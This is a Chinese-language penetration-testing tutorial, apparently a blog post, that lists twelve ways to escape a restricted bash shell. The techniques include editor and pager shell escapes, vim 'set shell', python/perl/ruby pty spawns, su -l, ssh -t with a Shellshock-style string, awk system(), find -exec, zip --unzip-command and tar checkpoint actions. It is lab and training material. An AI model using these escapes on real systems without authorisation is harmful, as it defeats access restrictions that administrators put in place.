rbash逃逸的12种方式
简述
什么是rbash?
rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行
如何设置?
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
![图片[1]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211036068.png?imageSlim)
为rbash逃逸做信息收集
1、枚举环境变量
执行env或printenv命令来查看当前的环境变量设置。特别是PATH和SHELL变量,它们可能影响到命令的查找和执行。

![图片[3]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211049418.png?imageSlim)
2、检查可用应用和服务
文本编辑器:如vi、vim、nano等,这些编辑器有时候允许用户执行系统命令。
其他系统工具:如ftp,more,less,man等,这些工具在特定情况下也可用于执行命令逃逸
调试工具:如gdb,在某些配置下可能允许用户执行任意代码
3、枚举可用的命令和操作符
命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如ls、cat、echo等),以及可能未被禁用的系统命令。
操作符枚举:尝试使用重定向操作符(如>、>>、<等)和管道操作符(|),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。
4、检查可用编程语言
python perl ruby php java等
5、用户和sudo权限
用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。
sudo权限:使用sudo -l命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。
常见的逃逸技术
1、”/“字符
如果/字符被允许我们可以直接运行:/bin/bash
![图片[4]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211611394.png?imageSlim)
2、cp命令
可以直接赋值/bin/bash或者passwd中root的终端目录直接运行
cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh
图例
![图片[5]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211149940.png?imageSlim)
3、常见的应用
探测系统中是否存在常见应用
-
FTP,GDB(调试程序的工具)等。
执行:
ftp> !/bin/sh![图片[6]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211646919.png?imageSlim)
执行:
gdb> !/bin/sh -
man / git
执行:
man > !/bin/sh执行:
git > git help status


-
vi / vim
vi test
:!/bin/sh # 利用vi/vim中可以执行命令的特点

![图片[11]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211602133.png?imageSlim)
- more / less 同上操作
more test_file
!/bin/sh
4、set shell
在一些编辑器中可以设置shell变量然后执行,如vim中
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
# 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
比如DC-2靶机,文章参考——-
5、更改PATH或者Shell环境变量
export查看环境变量

PATH 和 SHELL 变量的权限设置很可能是:r-x ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash
![图片[13]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211618674.png?imageSlim)
6、编程语言
语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:
python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"

perl
perl -e "exec '/bin/sh';"

ruby
exec "/bin/sh"
![图片[16]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211641079.png?imageSlim)
7、su命令
切换用户的时逃逸,这里的原理涉及到su和su -的区别:
su命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是root

su -命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了

逃逸过程
su -l tw
su - tw
su --login tw
![图片[19]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211723437.png?imageSlim)
8、ssh登录逃逸
它的原理就是借助-t远程在远程机器上运行脚本
正常登录成功的样子

逃逸成功的样子

命令如下
ssh username@IP -t "/bin/bash" or "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"
注意使用bash --noprofile和() { :; }; /bin/bash的时候没有登录成功的提示,以及登录时间之类的
![图片[22]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211735839.png?imageSlim)
![图片[23]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211737869.png?imageSlim)
9、awk
超级玛丽靶机
awk 'BEGIN {system("/bin/sh")}'
或
awk 'BEGIN {system("/bin/bash")}'
![图片[24]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211739964.png?imageSlim)
10、find
find / -name SomeName -exec /bin/sh ;
find / -name SomeName -exec /bin/bash ;
![图片[25]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211742721.png?imageSlim)
11、zip
zip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"
![图片[26]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211750865.png?imageSlim)
12、tar
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
![图片[27]-渗透测试rbash逃逸-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/wenimg/202408211753028.png?imageSlim)
总结
本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。

















暂无评论内容